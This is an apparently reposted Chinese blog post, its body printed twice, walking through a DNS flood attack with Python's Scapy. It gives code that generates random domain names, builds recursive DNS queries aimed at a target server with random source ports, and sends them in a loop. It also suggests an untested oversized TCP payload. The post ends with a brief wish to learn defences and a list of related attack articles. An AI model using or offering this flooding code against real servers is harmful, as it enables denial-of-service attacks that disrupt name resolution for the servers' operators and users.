Python中的Scapy初探之五-DNS洪水攻击
2017-08-28 10:13
489 查看
原文地址:Python中的Scapy初探之五-DNS洪水攻击作者:小牛牛
肿么回事,现在肿么都是这些东西?不过看了别人的代码,忍不住留个纪念,对生成随机的数据包有启发,其实,在Scapy有专门的洪水发包的方法
srflood : Flood and receive packets at layer 3
srloop : Send a packet at layer 3 in loop and print the answer each time
srp : Send and receive packets at layer 2
srp1 : Send and receive packets at layer 2 and return only the first answer
srpflood : Flood and receive packets at layer 2
srploop : Send a packet at layer 2 in loop and print the answer each time
改天有时间测试一下
那么如何对DNS服务器进行大量DNS名称解析呢?
首先要构建一个包含随机查询字符串的DNS请求包,主要还是添加qname项
qname一般包含FQDN名称,类似于www.baidu.com,要产生这种格式的名称,以'.'分隔三部分字符串
第一个s1,加上.,然后第二个s2,加上.,最后是第三个s3。那么可以随机产生字符串就ok了
s=RandString(RandNum(1,10))
s1=s.lower()
d=RandString(RandNum(1,10))
s2=d.lower()
t=RandString(RandNum(2,3))
s3=t.lower()
整合起来的字符串就是
q=s1+'.'+s2+'.'+s3
构建一个包
p=IP(dst='dns-server')/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q))
然后send()出去
send(p)
如果可以接收数据包,那么使用srflood()是个不错的选择
send()可以只管发送,不管接收
再加上一个循环,就可以发送n多DNS请求包
想想看,如果将s1与s2的取值扩充成很大,那么发一个巨型的数据包,再循环一下....没看RFC文档,不知道一个DNS包的限定字节数是多少
看了一种方法,就是在TCP层之上,加上超容量的字符
例如TCP()/('xx'*6000000)
这样应该可以了,还没测试过,还需要继续验证
看来服务器的安全真是很重要,还没看到Linux的DNS配置,看看有什么防御方法不
http://www.packetlevel.ch/html/scapy/scapydns.html
http://www.packetlevel.ch/
肿么回事,现在肿么都是这些东西?不过看了别人的代码,忍不住留个纪念,对生成随机的数据包有启发,其实,在Scapy有专门的洪水发包的方法
srflood : Flood and receive packets at layer 3
srloop : Send a packet at layer 3 in loop and print the answer each time
srp : Send and receive packets at layer 2
srp1 : Send and receive packets at layer 2 and return only the first answer
srpflood : Flood and receive packets at layer 2
srploop : Send a packet at layer 2 in loop and print the answer each time
改天有时间测试一下
那么如何对DNS服务器进行大量DNS名称解析呢?
首先要构建一个包含随机查询字符串的DNS请求包,主要还是添加qname项
qname一般包含FQDN名称,类似于www.baidu.com,要产生这种格式的名称,以'.'分隔三部分字符串
第一个s1,加上.,然后第二个s2,加上.,最后是第三个s3。那么可以随机产生字符串就ok了
s=RandString(RandNum(1,10))
s1=s.lower()
d=RandString(RandNum(1,10))
s2=d.lower()
t=RandString(RandNum(2,3))
s3=t.lower()
整合起来的字符串就是
q=s1+'.'+s2+'.'+s3
构建一个包
p=IP(dst='dns-server')/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q))
然后send()出去
send(p)
如果可以接收数据包,那么使用srflood()是个不错的选择
send()可以只管发送,不管接收
再加上一个循环,就可以发送n多DNS请求包
想想看,如果将s1与s2的取值扩充成很大,那么发一个巨型的数据包,再循环一下....没看RFC文档,不知道一个DNS包的限定字节数是多少
看了一种方法,就是在TCP层之上,加上超容量的字符
例如TCP()/('xx'*6000000)
这样应该可以了,还没测试过,还需要继续验证
看来服务器的安全真是很重要,还没看到Linux的DNS配置,看看有什么防御方法不
http://www.packetlevel.ch/html/scapy/scapydns.html
http://www.packetlevel.ch/
相关文章推荐
- Python中的Scapy初探之四--DNS中毒
- Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子
- Python中的Scapy初探之三-ARP中毒
- python - scapy - dns sniffer / posioning
- python 使用scapy编写DNS Fuzzer
- Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子
- python 使用scapy编写DNS Fuzzer
- Python黑帽编程 3.3 MAC洪水攻击
- Python黑帽编程 3.3 MAC洪水攻击
- Python中的Scapy初探之六--找出非法的DHCP Server
- python之初探编程
- python_scapy实现TCP端口扫描
- python 使用scapy进行ARP扫描
- python数据处理与可视化初探
- 初探python中的file类型
- Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)
- [Python] DNS-Related Python Program
- Python Scapy(2.3.1)文档学习(一):介绍
- 初探接口测试框架--python系列5
- 用python进行DNS(domain name system)查询(--查询报文的构建与发送)